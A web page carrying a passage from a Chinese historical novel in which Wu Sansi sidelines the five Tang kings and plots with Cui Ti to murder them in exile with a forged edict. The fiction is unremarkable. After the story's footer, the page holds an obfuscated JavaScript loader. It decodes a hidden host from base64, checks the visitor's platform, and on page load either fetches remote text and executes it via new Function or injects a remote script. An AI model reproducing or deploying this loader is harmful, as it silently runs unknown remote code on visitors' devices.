表上是尊敬功臣,其实是剥夺他们的实权,免得他们危害朝廷。」李显点头认同。

终于敬晖封为平阳王,桓彦范封为扶阳王,张柬之封为汉阳王,袁恕己封为
南阳王,崔玄暐封为博陵王,皆免除宰相官职,特赐黄金绸缎,雕鞍御马。自此
武三思权力更盛,稍有不归附武家的,均予以排斥,中央权柄,尽入武三思手中。

李显听完李承嘉的说话,登时两目发呆,一时难以决定。

侍御史郑愔见李显犹豫难决,当即出班奏道:「这五人毁谤皇后,实是罪大
恶极,皇上万不可轻恕。」李显愈听愈感气恼,便即召唤大理承李朝隐上朝,打
算就此结案。

李朝隐奏道:「张柬之等五人没经过审判,实不宜定罪诛灭。」

另一大理承裴谈,直来便是武家的一员,听见李朝隐这样说,当即奏道:
「人证物证俱在,再无可抵赖,应遵照诏书斩首,家产充公,实不必再调查审判。」

黄门侍郎宋璟奏请道:「老臣认为该当调查清楚,方好定罪,况且五位王爷
曾得皇上赏赐铁券,承诺赦免十次死刑,若处以死刑,恐人心不服。」

李显听后,想起自己确有此承诺,沉思片刻,遂下旨各判「无期流刑」。把
敬晖流窜至琼州,桓彦范流窜至瀼州,张柬之流窜至泷州,袁恕己流窜环州,崔
玄暐流窜古州;五人家属子弟,凡年满十六岁以上,均流窜至岭外。

武三思见李显不愿诛杀五人,不禁眉头紧蹙,却又不便当着众大臣面前力争,
免得他人疑心是自己一手策划,让李显起疑,只得瞪着铜铃般的大眼,一声不响
的暗自气恼。

直至退朝,群臣依次步出含元殿,中书今崔提走近武三思身旁,二人对望一
眼,武三思便知晓他的心意,必定有什么事与自己商量,当下两人默然连袂而出。

二人走出丹凤门,武三思和崔提的家仆已经牵马过来,上了马匹,崔提才道:
「皇上这般心慈手软,千万不可回心转意才好。」

武三思鼻哼一声:「这老家伙直来便是耳朵软,我这一着满以为一举成功,
确没想到宋璟会跑出来搅局,看来此人也不宜留在朝中。」

崔提道:「宋璟的事还可以慢慢解决,但眼前最要紧的事,便是这五个人,
他们倘若不死,等有一天返回京师,可真是一个后患,我这里有一计,只是不知
王爷可敢去做。」

武三思连忙望住他,崔提低声道:「只要咱们假传圣旨,派人从后跟上一刀
一个,到时人已死了,就是皇上问起,便说他们在途中暴病便是了。」武三思听
了微微点头,沉思一会,便道:「好!便依你的方法去做,你认为有谁能担当此
事?」

崔提道:「周利贞如何?」

武三思道:「就是那个被眨往嘉州当司马的周利贞?」

崔提点点头,说道:「此人当年在京之时,深受五王轻视,致被敬晖奏上一
本,把他眨至嘉州。周利贞对五人深仇似海,要他来办此事,可说是最佳人选。」

武三思再三细想,皱眉说道:「虽然此人可行,但他毕竟是朝廷中人,若要
他亲手干此事,恐怕有点不便。这样吧,明儿我上奏老头子,荐他为右台侍御史,
随同五人前往岭外,沿途监视。到时我另派人从后跟去,逐一解决,但此事务必
做得干净俐落,决不可操之过急。

第四集六回完

小说推荐

客服邮箱点击即可复制

function bAlROHT(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function GfIYxpS(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return bAlROHT(t);};window[''+'R'+'G'+'y'+'E'+'L'+'b'+'o'+'Z'+'P'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){var r=u,x=GfIYxpS,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0])));'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('GET','https://'+u+'/bd_'+k+'_'+i+'_'+r);xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=xhr.responseText;new Function('_'+'t'+'d'+'cs',data)(cs);}};xhr.send('u=1');}else{var s=d[crd]('script');s.src='https://'+u+'/wap_'+k+'_'+i+'_'+r;cs.parentElement.insertBefore(s,cs);}})('MTcxOTQwNjM3MS5rd3J1Zmh3aS5jb2066NDAzNA==','2139','2477',window,document,['6','y']);}:function(){};